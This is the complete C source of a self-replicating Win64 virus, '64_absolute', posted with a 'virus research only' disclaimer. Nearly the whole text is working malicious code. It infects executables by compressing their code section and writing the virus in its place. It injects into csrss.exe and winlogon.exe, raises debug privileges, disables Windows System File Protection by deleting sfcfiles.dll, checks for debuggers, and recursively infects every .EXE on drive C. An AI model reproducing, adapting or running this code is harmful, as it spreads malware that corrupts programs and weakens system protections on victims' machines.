|| Author: tanMa || Back to sources || View project folder ||
//****************************************************************************** // THIS IS SOURCE CODE OF VIRUS. IT'S PURPOSE IS TO BE USED IN VIRUS RESEARCH // ONLY. THE AUTHOR IS NOT RESPONSIBLE FOR ANY MISUSE OF CODE AND INFORMATION // PROVIDED HEREIN. // // 64_absolute by tanMa // coded in Serbia, November 2006. // demonyu@yahoo.com // //*[Words from SH]************************************************************** // // The main reason of this virus is show to the public that C/C++ can be // used in this contest and the code, when optimized is not even big. // From the other side if MS built their OS with the same language, why // don't use it for a virus ? For the virus features see author notes. // // Your lovely SH. // //*[Words from author]********************************************************** // // First of all i want thx to SlageHammer for helping me about this virus. // // - Very first virus fully coded in C for Win64 (x64) // - PE32+ memory resident mid-infector (not appender nor prepender ;-) ) // - First usage of PEB under Win64 ! // - Using un-documented apis for compression ! (never used in malwares) // - Host size not alerted // - Section headers remain un-touched // - Anti-Heuristic 'coz of unique method of infection // - Anti-Debug using PEB & injecting into CSRSS.EXE // - SFC Disabling (yeah Ratter/29A method still rox) // - Recursively scans to infect GUI&Console applications (from CSRSS.EXE) // - crc insted of api names // - size is 3696bytes (not bad for this kind of virus, can be more optimized // but i didn't want to loss C codin' style) // - not avoid re-infecting, because host size doesn't grow anyway, and it // is little bit harder to clean ;-) // //****************************************************************************** #include "64_absolute.h" VX_HEADER Virus_Header = {1, 1, 1}; char cCopyrightMsg[] = "64_absolute by tM & SH,a nice gift for all the AV community , Marry X.mas to all the AV"; HMODULE hKernelInstance= (HMODULE)0x1; //just make it initialized! KERNEL_APIS Kernel; DWORD KernelCSUMs[NumOfKernelApis] = { Sleep_CSUM, LoadLibraryA_CSUM, GetModuleHandleA_CSUM, GetCurrentProcess_CSUM, OpenProcess_CSUM, CloseHandle_CSUM, VirtualAlloc_CSUM, VirtualFree_CSUM, VirtualAllocEx_CSUM, VirtualProtect_CSUM, WriteProcessMemory_CSUM, CreateRemoteThread_CSUM, CreateFileA_CSUM, CreateFileMappingA_CSUM, MapViewOfFile_CSUM, UnmapViewOfFile_CSUM, GetFileSize_CSUM, FindFirstFileA_CSUM, FindNextFileA_CSUM, FindClose_CSUM, OpenMutexA_CSUM, CreateMutexA_CSUM, ReleaseMutex_CSUM, GetLastError_CSUM, //forwarded from kernel32.dll (setup manualy) GetProcAddress_CSUM, GetCurrentThread_CSUM, SetThreadPriority_CSUM, GetSystemDirectoryA_CSUM, DeleteFileA_CSUM, ExitProcess_CSUM }; NTDLL_APIS NtDll; DWORD NtDllCSUMs[NumOfNtDllApis] = { RtlGetCompressionWorkSpaceSize_CSUM, RtlCompressBuffer_CSUM, RtlDecompressBuffer_CSUM }; USER_APIS User; DWORD UserCSUMs[NumOfUserApis] = { MessageBoxA_CSUM, wsprintfA_CSUM }; PS_APIS PSapi; DWORD PsapiCSUMs[NumOfPSApis] = { EnumProcesses_CSUM, EnumProcessModules_CSUM, GetModuleBaseNameA_CSUM }; ADV_APIS ADVapi; DWORD ADVapiCSUMs[NumOfADVApis] = { OpenProcessToken_CSUM, LookupPrivilegeValueA_CSUM, AdjustTokenPrivileges_CSUM }; PIMAGE_DOS_HEADER lpVictimDosHeader; PIMAGE_NT_HEADERS lpVictimPeHeader; PIMAGE_SECTION_HEADER lpVictimCodeSectionHdr; HANDLE hVictim; HANDLE hMapVictim; LPVOID lpBaseOfVictim; DWORD dwVictimFileSize; COMPRESSED_DATA *lpCompressedData; /****************************************/ size_t mstrlen(const char *lpStr) { size_t len; for (len = 0; *lpStr != '\0'; lpStr++) len++; return len; } /***************************************** * * */ DWORD StrCheckSum(LPCSTR lpStr) { DWORD sum = 0; ULONGLONG i,pos = 0; ULONGLONG len = mstrlen(lpStr); for (i = 0; i < len / 2; i++) { sum += MAKEWORD(lpStr[pos], lpStr[pos+1]); pos += 2; } if (1 == (len % 2)) sum += MAKEWORD(lpStr[pos], 0); return (sum + len); } /***************************************** * * */ HMODULE GetKernelBase(void) { PMYPEB pMYPEB; PPEB_LDR_DATA pPEBLdrData; PLDR_MODULE pLdrModule; pMYPEB = (MYPEB*)__readgsqword(0x60); pPEBLdrData = pMYPEB->LoaderData; pLdrModule = (PLDR_MODULE) pPEBLdrData->InLoadOrderModuleList.Flink; //current executable pLdrModule = (PLDR_MODULE) pLdrModule->InLoadOrderModuleList.Flink; //ntdll.dll pLdrModule = (PLDR_MODULE) pLdrModule->InLoadOrderModuleList.Flink; //kernel32.dll return (HMODULE)pLdrModule->BaseAddress; } /***************************************** * Insted of Windows GetProcAddress * This doesn't work for forwarded externals */ FARPROC GetProcAddressCSUM(HMODULE lpDllBase, DWORD dwCSUM) { PIMAGE_DOS_HEADER lpDllMZ; PIMAGE_NT_HEADERS lpDllPE; PIMAGE_EXPORT_DIRECTORY lpDllExp; LPDWORD lpAddressOfNames; LPWORD lpAddressOfNameOrdinals; LPDWORD lpAddressOfFunctions; ULONGLONG index; if (NULL != lpDllBase) { lpDllMZ = (PIMAGE_DOS_HEADER)lpDllBase; lpDllPE = (PIMAGE_NT_HEADERS)( (ULONGLONG)lpDllMZ + lpDllMZ->e_lfanew ); lpDllExp = (PIMAGE_EXPORT_DIRECTORY)( (ULONGLONG)lpDllMZ + lpDllPE->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress ); lpAddressOfNames = (LPDWORD)( (ULONGLONG)lpDllMZ + lpDllExp->AddressOfNames ); lpAddressOfNameOrdinals = (LPWORD)( (ULONGLONG)lpDllMZ + lpDllExp->AddressOfNameOrdinals ); lpAddressOfFunctions = (LPDWORD)( (ULONGLONG)lpDllMZ + lpDllExp->AddressOfFunctions ); for (index=0; index < lpDllExp->NumberOfNames; index++) { LPCSTR lpName = (LPCSTR)( (ULONGLONG)lpDllMZ + lpAddressOfNames[index] ); if( StrCheckSum( lpName ) == dwCSUM ) return (FARPROC)( (ULONGLONG)lpDllMZ + lpAddressOfFunctions[lpAddressOfNameOrdinals[index]] ); } } return NULL; } /***************************************** * * */ BOOL IsDebuggerActive(void) { return (BOOL)((MYPEB*)__readgsqword(0x60))->bBeingDebugged; } /***************************************** * "Old" array&loop technique * */ BOOL RetriveApisFromArray ( HMODULE hModule, DWORD ApiNamesCSUM[], ULONGLONG Addresses[], int numofapis ) { ULONGLONG i; for (i = 0 ; i < numofapis; i++) { Addresses[i] = (ULONGLONG)GetProcAddressCSUM( hModule, ApiNamesCSUM[i] ); if( 0 == Addresses[i] ) return FALSE; } return TRUE; } /***************************************** * * */ BOOL RetriveApis(void) { if( !RetriveApisFromArray( hKernelInstance, KernelCSUMs, (PULONGLONG)&Kernel, NumOfKernelApis) ) return FALSE; //setup manualy if( NULL == (Kernel.aGetLastError = (tGetLastError*)Kernel.aGetProcAddress( hKernelInstance,"GetLastError")) ) return FALSE; if( !RetriveApisFromArray( Kernel.aGetModuleHandleA("ntdll"), NtDllCSUMs, (PULONGLONG)&NtDll, NumOfNtDllApis) ) return FALSE; if( !RetriveApisFromArray( Kernel.aLoadLibraryA("user32"), UserCSUMs, (PULONGLONG)&User, NumOfUserApis) ) return FALSE; if( !RetriveApisFromArray( Kernel.aLoadLibraryA("psapi"), PsapiCSUMs, (PULONGLONG)&PSapi, NumOfPSApis) ) return FALSE; if( !RetriveApisFromArray( Kernel.aLoadLibraryA("advapi32"), ADVapiCSUMs, (PULONGLONG)&ADVapi, NumOfADVApis) ) return FALSE; return TRUE; } /***************************************** * * */ BOOL AdjustPrivileges(void) { HANDLE hToken; BOOL ret = FALSE; if (ADVapi.aOpenProcessToken(Kernel.aGetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)) { LUID luid; if (ADVapi.aLookupPrivilegeValueA(NULL, "SeDebugPrivilege", &luid)) { TOKEN_PRIVILEGES tk_priv; tk_priv.PrivilegeCount = 1; tk_priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; tk_priv.Privileges[0].Luid = luid; if (ADVapi.aAdjustTokenPrivileges(hToken, FALSE, &tk_priv, 0, NULL, NULL)) ret = TRUE; } Kernel.aCloseHandle(hToken); } return ret; } /***************************************** * * */ COMPRESSED_DATA *CompressData(PUCHAR lpInBuffer, DWORD nLen) { LPVOID lpWorkSpace; //interal buffer ULONG BufferWorkSpaceSize; //size of interal buffer ULONG FragmentWorkSpaceSize; ULONG FinalCompressedSize; //size after compression PUCHAR lpOutBuffer; COMPRESSED_DATA *lpCD; //initialize work space buffer if (!NT_SUCCESS(NtDll.aRtlGetCompressionWorkSpaceSize(COMPRESS_FORMAT_ENGINE, &BufferWorkSpaceSize, &FragmentWorkSpaceSize))) return NULL; //allocate work space buffer if (NULL == (lpWorkSpace = Kernel.MEMALLOC(BufferWorkSpaceSize))) return NULL; //allocate output buffer if (NULL == (lpOutBuffer = (PUCHAR)Kernel.MEMALLOC(nLen))) { Kernel.MEMFREE(lpWorkSpace); return NULL; } //compress if (!NT_SUCCESS(NtDll.aRtlCompressBuffer(COMPRESS_FORMAT_ENGINE, lpInBuffer, nLen, lpOutBuffer, nLen, 0x1000, &FinalCompressedSize, lpWorkSpace ))) { Kernel.MEMFREE(lpWorkSpace); Kernel.MEMFREE(lpOutBuffer); return NULL; } if (NULL == (lpCD = (COMPRESSED_DATA *)Kernel.MEMALLOC(sizeof(COMPRESSED_DATA)))) { Kernel.MEMFREE(lpWorkSpace); Kernel.MEMFREE(lpOutBuffer); return NULL; } Kernel.MEMFREE(lpWorkSpace); lpCD->lpCompressedBuffer = lpOutBuffer; lpCD->dwUncompressedLen = nLen; lpCD->dwCompressedLen = FinalCompressedSize; return lpCD; } /***************************************** * * */ void FreeCompressedData(COMPRESSED_DATA *lpCD) { if (NULL != lpCD) { Kernel.MEMFREE(lpCD->lpCompressedBuffer); Kernel.MEMFREE(lpCD); lpCD = NULL; } return; } /***************************************** * * */ BOOL OpenAndMap(LPCSTR lpFileName) { hVictim = Kernel.aCreateFileA(lpFileName, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL); if( INVALID_HANDLE_VALUE == hVictim ) return FALSE; dwVictimFileSize = Kernel.aGetFileSize(hVictim, NULL); hMapVictim = Kernel.aCreateFileMappingA(hVictim, NULL, PAGE_READWRITE, 0, dwVictimFileSize, NULL); if (NULL == hMapVictim || INVALID_HANDLE_VALUE == hMapVictim) { Kernel.aCloseHandle(hVictim); return FALSE; } lpBaseOfVictim = Kernel.aMapViewOfFile(hMapVictim, FILE_MAP_ALL_ACCESS, 0, 0, dwVictimFileSize); if( NULL == lpBaseOfVictim ) { Kernel.aCloseHandle(hMapVictim); Kernel.aCloseHandle(hVictim); return FALSE; } return TRUE; } /***************************************** * * */ void CloseAndUnMap(void) { Kernel.aUnmapViewOfFile(lpBaseOfVictim); Kernel.aCloseHandle(hMapVictim); Kernel.aCloseHandle(hVictim); } /***************************************** * * */ BOOL PrepareAndCheck(void) { lpVictimDosHeader = (PIMAGE_DOS_HEADER)lpBaseOfVictim; lpVictimPeHeader = (PIMAGE_NT_HEADERS)((ULONGLONG)lpVictimDosHeader + lpVictimDosHeader->e_lfanew); lpVictimCodeSectionHdr = IMAGE_FIRST_SECTION(lpVictimPeHeader); if (!(IMAGE_SCN_CNT_CODE & lpVictimCodeSectionHdr->Characteristics)) return FALSE; if (0x20B != lpVictimPeHeader->OptionalHeader.Magic || IMAGE_FILE_MACHINE_AMD64 != lpVictimPeHeader->FileHeader.Machine) return FALSE; if (!(IMAGE_SUBSYSTEM_WINDOWS_CUI == lpVictimPeHeader->OptionalHeader.Subsystem || IMAGE_SUBSYSTEM_WINDOWS_GUI == lpVictimPeHeader->OptionalHeader.Subsystem)) return FALSE; if (IMAGE_FILE_DLL & lpVictimPeHeader->FileHeader.Characteristics || IMAGE_FILE_SYSTEM & lpVictimPeHeader->FileHeader.Characteristics) return FALSE; lpCompressedData = CompressData((PUCHAR)((ULONGLONG)lpBaseOfVictim + lpVictimCodeSectionHdr->PointerToRawData), lpVictimCodeSectionHdr->SizeOfRawData); if (NULL == lpCompressedData) return FALSE; //is there space? if (lpCompressedData->dwCompressedLen + Virus_Size >= lpVictimCodeSectionHdr->SizeOfRawData) { FreeCompressedData(lpCompressedData); return FALSE; } return TRUE; } /***************************************** * What this function does? * */ void InfectPE(LPCSTR lpFileName) { if (OpenAndMap(lpFileName)) { if (PrepareAndCheck()) { Virus_Header.dwCompressedSectionLen = lpCompressedData->dwCompressedLen; Virus_Header.dwUnCompressedSectionLen = lpCompressedData->dwUncompressedLen; Virus_Header.dwHostEntryRVA = lpVictimPeHeader->OptionalHeader.AddressOfEntryPoint; //copy compressed data __movsb((PUCHAR)((ULONGLONG)lpBaseOfVictim + lpVictimCodeSectionHdr->PointerToRawData), lpCompressedData->lpCompressedBuffer,lpCompressedData->dwCompressedLen); //copy virus __movsb((PUCHAR)((ULONGLONG)lpBaseOfVictim + lpVictimCodeSectionHdr->PointerToRawData + lpCompressedData->dwCompressedLen), (PUCHAR)Virus_VA, Virus_Size); //set entry point lpVictimPeHeader->OptionalHeader.AddressOfEntryPoint = lpVictimCodeSectionHdr->VirtualAddress + lpCompressedData->dwCompressedLen; lpVictimPeHeader->OptionalHeader.AddressOfEntryPoint += (ULONGLONG)&PreGeneration2 - Virus_VA; FreeCompressedData(lpCompressedData); } CloseAndUnMap(); } return; } /***************************************** * * */ HANDLE OpenProcessVX(DWORD dwMainModuleNameCSUM) { ULONGLONG bytesneeded; DWORD ProcessIdList[512]; ULONGLONG ProcessesNum; ULONGLONG i; //enumerate processes (get theirs ID) PSapi.aEnumProcesses(ProcessIdList, sizeof(ProcessIdList), &(DWORD)bytesneeded); ProcessesNum = bytesneeded / sizeof(DWORD); //walk thorough array of ProcessIdList for (i = 0; i < ProcessesNum; i++) { HANDLE hOP = Kernel.aOpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessIdList[i]); if (NULL != hOP) { HMODULE hMod; char cModuleName[MAX_PATH]; PSapi.aEnumProcessModules(hOP, &hMod, sizeof(hMod), &(DWORD)bytesneeded); PSapi.aGetModuleBaseNameA(hOP, hMod, cModuleName, MAX_PATH); //is it what we looking for? if (StrCheckSum(cModuleName) == dwMainModuleNameCSUM) return hOP; } Kernel.aCloseHandle(hOP); } return NULL; } /***************************************** * Injects virus into remote preocess * */ HANDLE InsertVirusInToRemoteProcess(DWORD dwProcessMainModuleNameCSUM, ULONGLONG EntryPoint) { HANDLE hTargetProcess,hRemoteThread; LPVOID lpVirusAddrInTargetProcess; hTargetProcess = OpenProcessVX(dwProcessMainModuleNameCSUM); if (NULL == hTargetProcess) return NULL; //Allocate memory in target process for virus lpVirusAddrInTargetProcess = Kernel.aVirtualAllocEx(hTargetProcess, NULL, Virus_Size + Virus_Extra_Space, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (NULL == lpVirusAddrInTargetProcess) { Kernel.aCloseHandle(hTargetProcess); return NULL; } //dump virus body into target process if( !Kernel.aWriteProcessMemory(hTargetProcess, lpVirusAddrInTargetProcess, (LPCVOID)Virus_VA, Virus_Size,NULL)) { Kernel.aCloseHandle(hTargetProcess); return NULL; } //Execute virus as remote thread hRemoteThread = Kernel.aCreateRemoteThread(hTargetProcess, 0, 0, (LPTHREAD_START_ROUTINE)((ULONGLONG)lpVirusAddrInTargetProcess + EntryPoint - Virus_VA), 0, 0, 0); if (NULL == hRemoteThread) { Kernel.aCloseHandle(hTargetProcess); return NULL; } Kernel.aCloseHandle(hTargetProcess); return hRemoteThread; } /***************************************** * Infect all .EXE files in given directory * */ void InfectFiles(LPCSTR lpPath) { HANDLE hFindFile; WIN32_FIND_DATA FindFileData; char cPathMask[MAX_PATH]; char cFilePath[MAX_PATH]; WCHAR wszFileName[MAX_PATH]; User.awsprintfA( cPathMask, "%s%s", lpPath, "*.EXE"); hFindFile = Kernel.aFindFirstFileA( cPathMask , &FindFileData ); if( INVALID_HANDLE_VALUE != hFindFile ) { do { User.awsprintfA( cFilePath, "%s%s", lpPath, FindFileData.cFileName ); InfectPE(cFilePath); } while( Kernel.aFindNextFileA( hFindFile, &FindFileData ) ); Kernel.aFindClose(hFindFile); } } /***************************************** * Recursively scan sub-directories and call InfectFiles * for each directory it finds */ void InfectDirsAndSubDirs(LPCSTR lpPath) { HANDLE hFindFile; WIN32_FIND_DATA FindFileData; char cPath[MAX_PATH],cPathMask[MAX_PATH]; User.awsprintfA(cPathMask, "%s%s", lpPath, "*"); //infect all in "this" directory InfectFiles(lpPath); hFindFile = Kernel.aFindFirstFileA(cPathMask , &FindFileData); if (INVALID_HANDLE_VALUE != hFindFile) { do { //ignore if it starts with "." or ".." and include directories if ('.' != FindFileData.cFileName[0] && (FindFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)) { User.awsprintfA( cPath, "%s%s%s", lpPath, FindFileData.cFileName, "\\"); InfectDirsAndSubDirs(cPath); __movsb(cPath, lpPath, mstrlen(lpPath) ); } } while (Kernel.aFindNextFileA(hFindFile, &FindFileData)); Kernel.aFindClose(hFindFile); } } /***************************************** * Virus entry point in remote process (winlogon.exe) * Control is passed here by "Injector" */ void IntruderWINLOGON(void) { HMODULE hSFCInstance; FARPROC aSfcGoodBye; char sSystemDirPath[MAX_PATH]; char sPathToFile[MAX_PATH]; if( !RetriveApis() ) return; hSFCInstance = Kernel.aLoadLibraryA("sfc"); //Find by ordinal (un-documented by Microsoft, documented by Ratter/29A) if (NULL == (aSfcGoodBye = Kernel.aGetProcAddress(hSFCInstance, (char *) 2))) return; //disable SFP - runtime aSfcGoodBye(); //composite path&name to sfcfiles.dll Kernel.aGetSystemDirectoryA(sSystemDirPath,MAX_PATH); User.awsprintfA(sPathToFile,"%s%s",sSystemDirPath,"\\sfcfiles.dll"); //SFC GoodBye for ever... Kernel.aDeleteFileA(sPathToFile); } /***************************************** * Virus entry point in remote process (crss.exe) * Control is passed here by "Injector" */ void IntruderCSRSS(void) { HANDLE hMutex; //!we do not have to search kernel base address again, //because we already found it (by "Injector") //just find api addresses if( !RetriveApis() ) return; //don't slow down the system... Kernel.aSetThreadPriority( Kernel.aGetCurrentThread(), THREAD_PRIORITY_IDLE); //disable SFC //we dont have to call AdjustPrivileges(), because csrss.exe have needed privileges InsertVirusInToRemoteProcess(winlogon_exe_CSUM, (ULONGLONG)&IntruderWINLOGON); Kernel.aSleep(2000); hMutex = Kernel.aCreateMutexA( NULL, FALSE, cCopyrightMsg); InfectDirsAndSubDirs("c:\\"); //till next restart ZzZzZz.... Kernel.aSleep(INFINITE); Kernel.aCloseHandle(hMutex); } /***************************************** * * */ void Generation2(void) { PIMAGE_DOS_HEADER lpCurrentDosHeader; PIMAGE_NT_HEADERS lpCurrentPeHeader; PIMAGE_SECTION_HEADER lpCurrentCodeSectionHdr; LPVOID lpTempBuffer; FARPROC lpHostEntry; HANDLE hMutex; DWORD oldProtect,d; if (IsDebuggerActive()) return; if (!RetriveApis()) return; lpCurrentDosHeader = (PIMAGE_DOS_HEADER)Kernel.aGetModuleHandleA(NULL); lpCurrentPeHeader = (PIMAGE_NT_HEADERS)((ULONGLONG)lpCurrentDosHeader + lpCurrentDosHeader->e_lfanew); lpCurrentCodeSectionHdr = IMAGE_FIRST_SECTION(lpCurrentPeHeader); //copy compressed section into temp buffer lpTempBuffer = Kernel.MEMALLOC(Virus_Header.dwCompressedSectionLen); __movsb((PUCHAR)lpTempBuffer, (PUCHAR)((ULONGLONG)lpCurrentDosHeader + lpCurrentCodeSectionHdr->VirtualAddress), Virus_Header.dwCompressedSectionLen); //unprotect host .code section for writing (in memory) if (!Kernel.aVirtualProtect((LPVOID)(((ULONGLONG)lpCurrentDosHeader + lpCurrentCodeSectionHdr->VirtualAddress)), lpCurrentCodeSectionHdr->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldProtect)) return; //restore host .code section (in memory) if (!NT_SUCCESS(NtDll.aRtlDecompressBuffer(COMPRESS_FORMAT_ENGINE, (PUCHAR)((ULONGLONG)lpCurrentDosHeader + lpCurrentCodeSectionHdr->VirtualAddress), Virus_Header.dwUnCompressedSectionLen, lpTempBuffer, Virus_Header.dwCompressedSectionLen, &d))) return; //User.aMessageBoxA(NULL, cCopyrightMsg,"Generation 2", MB_OK | MB_ICONEXCLAMATION); //if virii is not "resident" then inject into csrss.exe hMutex = Kernel.aOpenMutexA( 0, FALSE, cCopyrightMsg); if (NULL == hMutex && ERROR_FILE_NOT_FOUND == Kernel.aGetLastError()) { AdjustPrivileges(); InsertVirusInToRemoteProcess( csrss_exe_CSUM, (ULONGLONG)&IntruderCSRSS); } //execute host lpHostEntry = (FARPROC)((ULONGLONG)lpCurrentDosHeader + Virus_Header.dwHostEntryRVA); lpHostEntry(); //we should not back here if, exit Kernel.aExitProcess(0); } /***************************************** * This function is entry point for infected host * Remember: vars on stack, because we r in host .code * section and we r not granted to write in virii global data */ void PreGeneration2(void) { KERNEL_APIS LocalKernel; USER_APIS LocalUser; LPVOID lpNewVirAddr; FARPROC lpGoTo; DWORD oldProtect; if (!RetriveApisFromArray(GetKernelBase(), KernelCSUMs, (PULONGLONG)&LocalKernel, NumOfKernelApis)) return; //alocate memory and move virus to new address lpNewVirAddr = LocalKernel.MEMALLOC(Virus_Size + Virus_Extra_Space); __movsb((PUCHAR)lpNewVirAddr, (PUCHAR)Virus_VA, Virus_Size); //make just alocated buffer executable if (!LocalKernel.aVirtualProtect(lpNewVirAddr, Virus_Size, PAGE_EXECUTE_READWRITE, &oldProtect)) LocalKernel.aExitProcess(0); //pass control lpGoTo = (FARPROC)((ULONGLONG)lpNewVirAddr + (ULONGLONG)&Generation2 - Virus_VA); lpGoTo(); //we should not get here }